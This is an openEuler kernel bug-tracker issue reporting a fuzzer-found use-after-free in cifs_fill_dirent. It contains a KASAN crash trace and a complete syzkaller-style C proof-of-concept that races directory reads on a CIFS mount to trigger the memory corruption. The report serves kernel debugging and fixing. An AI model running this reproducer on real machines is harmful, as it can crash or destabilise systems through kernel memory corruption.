【OLK-5.10】【openeuler-1.0-LTS】-[fuzz]--cifs_fill_dirent-use-afte

~~~ 
 [ 110.522477][ T31] CIFS: VFS: \\127.0.0.1\myshare Close unmatched open for MID:
 [ 110.531901][ T393] CIFS: VFS: \\127.0.0.1\myshare Close interrupted close
 [ 110.534638][  T5] CIFS: VFS: \\127.0.0.1\myshare Close unmatched open for MID:
 [ 110.540873][ T410] CIFS: VFS: \\127.0.0.1\myshare Close unmatched open for MID:
 [ 110.545302][ T564] CIFS: VFS: \\127.0.0.1\myshare Close unmatched open for MID:
 [ 110.553461][ T393] CIFS: VFS: \\127.0.0.1\myshare Close cancelled mid failed rc
 [ 110.558435][ T564] CIFS: VFS: \\127.0.0.1\myshare Close unmatched open for MID:
 [ 110.639029][ T564] CIFS: VFS: \\127.0.0.1\myshare Close unmatched open for MID:
 [ 110.726137][ T564] CIFS: VFS: \\127.0.0.1\myshare Close interrupted close
 [ 110.729008][ T564] CIFS: VFS: \\127.0.0.1\myshare Close cancelled mid failed rc
 [ 110.732958][ T393] CIFS: VFS: \\127.0.0.1\myshare Close interrupted close
 [ 110.746672][ T393] CIFS: VFS: \\127.0.0.1\myshare Close cancelled mid failed rc
 [ 110.760904][ T393] CIFS: VFS: \\127.0.0.1\myshare Close interrupted close
 [ 110.766191][ T20] CIFS: VFS: \\127.0.0.1\myshare Close interrupted close
 [ 110.770188][ T393] CIFS: VFS: \\127.0.0.1\myshare Close cancelled mid failed rc
 [ 110.771177][ T20] CIFS: VFS: \\127.0.0.1\myshare Close cancelled mid failed rc
 [ 110.802213][ T564] CIFS: VFS: \\127.0.0.1\myshare Close unmatched open for MID:
 [ 110.843872][ T564] CIFS: VFS: \\127.0.0.1\myshare Close unmatched open for MID:
 [ 110.866671][ T564] CIFS: VFS: \\127.0.0.1\myshare Close unmatched open for MID:
 [ 110.886875][ T410] CIFS: VFS: \\127.0.0.1\myshare Close interrupted close
 [ 110.898227][ T410] CIFS: VFS: \\127.0.0.1\myshare Close cancelled mid failed rc
 [ 110.913501][ T410] CIFS: VFS: \\127.0.0.1\myshare Close unmatched open for MID:
 [ 111.000279][ T20] CIFS: VFS: \\127.0.0.1\myshare Close interrupted close
 [ 111.021103][ T20] CIFS: VFS: \\127.0.0.1\myshare Close cancelled mid failed rc
 [ 111.663479][ T410] CIFS: VFS: \\127.0.0.1\myshare Close interrupted close
 [ 111.685479][ T410] CIFS: VFS: \\127.0.0.1\myshare Close cancelled mid failed rc
 [ 111.908013][ T31] CIFS: VFS: \\127.0.0.1\myshare Close interrupted close
 [ 111.922853][ T31] CIFS: VFS: \\127.0.0.1\myshare Close cancelled mid failed rc
 [ 112.276907][ T20] CIFS: VFS: \\127.0.0.1\myshare Close interrupted close
 [ 112.282743][ T20] CIFS: VFS: \\127.0.0.1\myshare Close cancelled mid failed rc
 [ 115.676088][ T299] smb2_cancelled_close_fid: 89 callbacks suppressed
 [ 115.676095][ T299] CIFS: VFS: \\127.0.0.1\myshare Close unmatched open for MID:
 [ 115.692698][ T29] CIFS: VFS: \\127.0.0.1\myshare Close unmatched open for MID:
 [ 115.697800][ T20] CIFS: VFS: \\127.0.0.1\myshare Close unmatched open for MID:
 [ 115.711060][ T29] CIFS: VFS: \\127.0.0.1\myshare Close unmatched open for MID:
 [ 115.719649][ T299] CIFS: VFS: \\127.0.0.1\myshare Close unmatched open for MID:
 [ 115.785170][ T31] CIFS: VFS: \\127.0.0.1\myshare Close unmatched open for MID:
 [ 115.788748][ T2129] ============================================================
 [ 115.789790][ T2129] BUG: KASAN: use-after-free in cifs_fill_dirent+0xbe9/0xca0
 [ 115.790706][ T2129] Read of size 4 at addr ffff88802a854d34 by task 45/2129
 [ 115.791584][ T2129]
 [ 115.791881][ T2129] CPU: 0 PID: 2129 Comm: 45 Not tainted 5.10.0 #1
 [ 115.792681][ T2129] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
 [ 115.793917][ T2129] Call Trace:
 [ 115.794343][ T2129] dump_stack+0x107/0x167
 [ 115.794891][ T2129] print_address_description.constprop.0+0x1e/0x280
 [ 115.795709][ T2129] ? mempool_free+0xea/0x3b0
 [ 115.796287][ T2129] ? vprintk_func+0xe2/0x210
 [ 115.796871][ T2129] ? cifs_fill_dirent+0xbe9/0xca0
 [ 115.797503][ T2129] __kasan_report.cold+0x6c/0x84
 [ 115.798126][ T2129] ? cifs_fill_dirent+0xbe9/0xca0
 [ 115.798759][ T2129] kasan_report+0x3a/0x50
 [ 115.799310][ T2129] cifs_fill_dirent+0xbe9/0xca0
 [ 115.799924][ T2129] cifs_save_resume_key+0xe7/0x220
 [ 115.800574][ T2129] ? cifs_fill_dirent+0xca0/0xca0
 [ 115.801206][ T2129] ? rwlock_bug.part.0+0x90/0x90
 [ 115.801826][ T2129] find_cifs_entry+0x6bf/0x11b0
 [ 115.802430][ T2129] cifs_readdir+0x551/0x1810
 [ 115.803007][ T2129] ? cifs_dir_info_to_fattr+0x40/0x40
 [ 115.803661][ T2129] ? __fget_files+0x2e7/0x560
 [ 115.804237][ T2129] ? security_file_permission+0x4aa/0x6d0
 [ 115.804938][ T2129] iterate_dir+0x589/0x710
 [ 115.805482][ T2129] __se_sys_getdents+0xf3/0x260
 [ 115.806078][ T2129] ? kernel_fpu_begin_mask+0x210/0x210
 [ 115.806753][ T2129] ? compat_filldir+0x710/0x710
 [ 115.807347][ T2129] ? compat_fillonedir+0x530/0x530
 [ 115.807972][ T2129] ? switch_fpu_return+0x15d/0x2c0
 [ 115.808604][ T2129] ? syscall_enter_from_user_mode+0x27/0x80
 [ 115.809327][ T2129] do_syscall_64+0x33/0x40
 [ 115.809874][ T2129] entry_SYSCALL_64_after_hwframe+0x67/0xd1
 [ 115.810591][ T2129] RIP: 0033:0x7f999e18afc9
 [ 115.811150][ T2129] Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48
 [ 115.813534][ T2129] RSP: 002b:00007f999e091e98 EFLAGS: 00000207 ORIG_RAX: 000000
 [ 115.814568][ T2129] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f999e1
 [ 115.815540][ T2129] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 00000000000
 [ 115.816515][ T2129] RBP: 00007f999e091ec0 R08: 0000000000000000 R09: 00000000000
 [ 115.817488][ T2129] R10: 0000000000000000 R11: 0000000000000207 R12: 00007ffcefe
 [ 115.818457][ T2129] R13: 00007ffcefebfe1f R14: 00007f999e091fc0 R15: 00000000000
 [ 115.819428][ T2129]
 [ 115.819718][ T2129] Allocated by task 663:
 [ 115.820247][ T2129] kasan_save_stack+0x1b/0x40
 [ 115.820823][ T2129] __kasan_kmalloc.constprop.0+0xa9/0xe0
 [ 115.821508][ T2129] kmem_cache_alloc+0x1f3/0xa60
 [ 115.822097][ T2129] mempool_alloc+0x14e/0x360
 [ 115.822659][ T2129] cifs_small_buf_get+0x38/0x70
 [ 115.823252][ T2129] allocate_buffers+0x28f/0x400
 [ 115.823854][ T2129] cifs_demultiplex_thread+0x14bc/0x2540
 [ 115.824549][ T2129] kthread+0x356/0x470
 [ 115.825052][ T2129] ret_from_fork+0x22/0x30
 [ 115.825577][ T2129]
 [ 115.825866][ T2129] Freed by task 2147:
 [ 115.826360][ T2129] kasan_save_stack+0x1b/0x40
 [ 115.826926][ T2129] kasan_set_track+0x1c/0x30
 [ 115.827487][ T2129] kasan_set_free_info+0x20/0x40
 [ 115.828096][ T2129] __kasan_slab_free.part.0+0x117/0x180
 [ 115.828777][ T2129] kmem_cache_free+0xff/0x950
 [ 115.829347][ T2129] mempool_free+0xea/0x3b0
 [ 115.829894][ T2129] cifs_small_buf_release+0x46/0x130
 [ 115.830534][ T2129] find_cifs_entry+0x4a7/0x11b0
 [ 115.831131][ T2129] cifs_readdir+0x551/0x1810
 [ 115.831695][ T2129] iterate_dir+0x589/0x710
 [ 115.832237][ T2129] __se_sys_getdents64+0xf3/0x270
 [ 115.832857][ T2129] do_syscall_64+0x33/0x40
 [ 115.833398][ T2129] entry_SYSCALL_64_after_hwframe+0x67/0xd1
 [ 115.834112][ T2129]
 [ 115.834404][ T2129] The buggy address belongs to the object at ffff88802a854c00
 [ 115.834404][ T2129] which belongs to the cache cifs_small_rq of size 448
 [ 115.836134][ T2129] The buggy address is located 308 bytes inside of
 [ 115.836134][ T2129] 448-byte region [ffff88802a854c00, ffff88802a854dc0)
 [ 115.837744][ T2129] The buggy address belongs to the page:
 [ 115.838450][ T2129] page:ffffea0000aa1500 refcount:1 mapcount:0 mapping:00000000
 [ 115.839700][ T2129] head:ffffea0000aa1500 order:1 compound_mapcount:0
 [ 115.840525][ T2129] flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x
 [ 115.841533][ T2129] raw: 000fffffc0010200 0000000000000000 0000000600000001 ffff
 [ 115.842600][ T2129] raw: 0000000000000000 0000000000100010 00000001ffffffff 0000
 [ 115.843654][ T2129] page dumped because: kasan: bad access detected
 [ 115.844445][ T2129]
 [ 115.844736][ T2129] Memory state around the buggy address:
 [ 115.845424][ T2129] ffff88802a854c00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb
 [ 115.846410][ T2129] ffff88802a854c80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 [ 115.847403][ T2129] >ffff88802a854d00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 [ 115.848394][ T2129]                   ^
 [ 115.849094][ T2129] ffff88802a854d80: fb fb fb fb fb fb fb fb fc fc fc fc fc fc
 [ 115.850086][ T2129] ffff88802a854e00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb
 [ 115.851078][ T2129] ===============================================
=================================================
 poc
#define _GNU_SOURCE
#include <dirent.h>
 #include <endian.h>
 #include <errno.h>
 #include <fcntl.h>
 #include <pthread.h>
 #include <signal.h>
 #include <stdarg.h>
 #include <stdbool.h>
 #include <stdint.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys/prctl.h>
 #include <sys/stat.h>
 #include <sys/syscall.h>
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <time.h>
 #include <unistd.h>
#include <linux/futex.h>
static unsigned long long procid;
static void sleep_ms(uint64_t ms)
 {
    usleep(ms * 1000);
 }
static uint64_t current_time_ms(void)
 {
    struct timespec ts;
    if (clock_gettime(CLOCK_MONOTONIC, &ts))
    exit(1);
    return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
 }
static void thread_start(void* (*fn)(void*), void* arg)
 {
    pthread_t th;
    pthread_attr_t attr;
    pthread_attr_init(&attr);
    pthread_attr_setstacksize(&attr, 128 << 10);
    int i = 0;
    for (; i < 100; i++) {
        if (pthread_create(&th, &attr, fn, arg) == 0) {
            pthread_attr_destroy(&attr);
            return;
        }
        if (errno == EAGAIN) {
            usleep(50);
            continue;
        }
        break;
    }
    exit(1);
 }
typedef struct {
    int state;
 } event_t;
static void event_init(event_t* ev)
 {
    ev->state = 0;
 }
static void event_reset(event_t* ev)
 {
    ev->state = 0;
 }
static void event_set(event_t* ev)
 {
    if (ev->state)
    exit(1);
    __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
    syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
 }
static void event_wait(event_t* ev)
 {
    while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
        syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
 }
static int event_isset(event_t* ev)
 {
    return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
 }
static int event_timedwait(event_t* ev, uint64_t timeout)
 {
    uint64_t start = current_time_ms();
    uint64_t now = start;
    for (;;) {
        uint64_t remain = timeout - (now - start);
        struct timespec ts;
        ts.tv_sec = remain / 1000;
        ts.tv_nsec = (remain % 1000) * 1000 * 1000;
        syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
        if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
            return 1;
        now = current_time_ms();
        if (now - start > timeout)
            return 0;
    }
 }
static bool write_file(const char* file, const char* what, ...)
 {
    char buf[1024];
    va_list args;
    va_start(args, what);
    vsnprintf(buf, sizeof(buf), what, args);
    va_end(args);
    buf[sizeof(buf) - 1] = 0;
    int len = strlen(buf);
    int fd = open(file, O_WRONLY | O_CLOEXEC);
    if (fd == -1)
        return false;
    if (write(fd, buf, len) != len) {
        int err = errno;
        close(fd);
        errno = err;
        return false;
    }
    close(fd);
    return true;
 }
static void kill_and_wait(int pid, int* status)
 {
    kill(-pid, SIGKILL);
    kill(pid, SIGKILL);
    for (int i = 0; i < 100; i++) {
        if (waitpid(-1, status, WNOHANG | __WALL) == pid)
            return;
        usleep(1000);
    }
    DIR* dir = opendir("/sys/fs/fuse/connections");
    if (dir) {
        for (;;) {
            struct dirent* ent = readdir(dir);
            if (!ent)
                break;
            if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
                continue;
            char abort[300];
            snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name);
            int fd = open(abort, O_WRONLY);
            if (fd == -1) {
                continue;
            }
            if (write(fd, abort, 1) < 0) {
            }
            close(fd);
        }
        closedir(dir);
    } else {
    }
    while (waitpid(-1, status, __WALL) != pid) {
    }
 }
static void setup_test()
 {
    prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
    setpgrp();
    write_file("/proc/self/oom_score_adj", "1000");
 }
struct thread_t {
    int created, call;
    event_t ready, done;
 };
static struct thread_t threads[16];
 static void execute_call(int call);
 static int running;
static void* thr(void* arg)
 {
    struct thread_t* th = (struct thread_t*)arg;
    for (;;) {
        event_wait(&th->ready);
        event_reset(&th->ready);
        execute_call(th->call);
        __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
        event_set(&th->done);
    }
    return 0;
 }
static void execute_one(void)
 {
    int i, call, thread;
    for (call = 0; call < 8; call++) {
        for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) {
            struct thread_t* th = &threads[thread];
            if (!th->created) {
                th->created = 1;
                event_init(&th->ready);
                event_init(&th->done);
                event_set(&th->done);
                thread_start(thr, th);
            }
            if (!event_isset(&th->done))
                continue;
            event_reset(&th->done);
            th->call = call;
            __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
            event_set(&th->ready);
            if (call == 2 || call == 7)
                break;
            event_timedwait(&th->done, 50);
            break;
        }
    }
    for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
        sleep_ms(1);
 }
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
 {
    int iter = 0;
    for (;; iter++) {
        int pid = fork();
        if (pid < 0)
    exit(1);
        if (pid == 0) {
            setup_test();
            execute_one();
            exit(0);
        }
        int status = 0;
        uint64_t start = current_time_ms();
        for (;;) {
            if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
                break;
            sleep_ms(1);
            if (current_time_ms() - start < 5000)
                continue;
            kill_and_wait(pid, &status);
            break;
        }
    }
 }
uint64_t r[3] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff};
void execute_call(int call)
 {
        intptr_t res = 0;
    switch (call) {
    case 0:
 memcpy((void*)0x20000000, "/mnt/cifs/test/\000", 16);
        res = syscall(__NR_openat, /*fd=*/0xffffffffffffff9cul, /*file=*/0x20000000ul, /*flags=*/0ul, /*mode=*/0ul);
        if (res != -1)
                r[0] = res;
        break;
    case 1:
 memcpy((void*)0x20000100, "./file0\000", 8);
        syscall(__NR_mkdirat, /*fd=*/r[0], /*path=*/0x20000100ul, /*mode=*/0ul);
        break;
    case 2:
        syscall(__NR_getdents, /*fd=*/r[0], /*ent=*/0ul, /*count=*/0ul);
        break;
    case 3:
        syscall(__NR_getdents64, /*fd=*/r[0], /*ent=*/0x20000140ul, /*count=*/0x33ul);
        break;
    case 4:
        res = syscall(__NR_socket, /*domain=*/0xaul, /*type=*/1ul, /*proto=*/0);
        if (res != -1)
                r[1] = res;
        break;
    case 5:
        res = syscall(__NR_socket, /*domain=*/0x11ul, /*type=*/2ul, /*proto=*/0x300);
        if (res != -1)
                r[2] = res;
        break;
    case 6:
        syscall(__NR_fstatfs, /*fd=*/r[2], /*buf=*/0ul);
        break;
    case 7:
        syscall(__NR_sendto, /*fd=*/r[1], /*buf=*/0ul, /*len=*/0ul, /*f=*/0x40ul, /*addr=*/0ul, /*addrlen=*/0ul);
        break;
    }
}
 int main(void)
 {
        syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
    syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=*/7ul, /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
    syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
    for (procid = 0; procid < 8; procid++) {
        if (fork() == 0) {
            loop();
        }
    }
    sleep(1000000);
    return 0;
 }
=================================================
~~~

GVP openEuler/kernel

Content Risk Flag

Comments (3)

GVPopenEuler/kernel

Content Risk Flag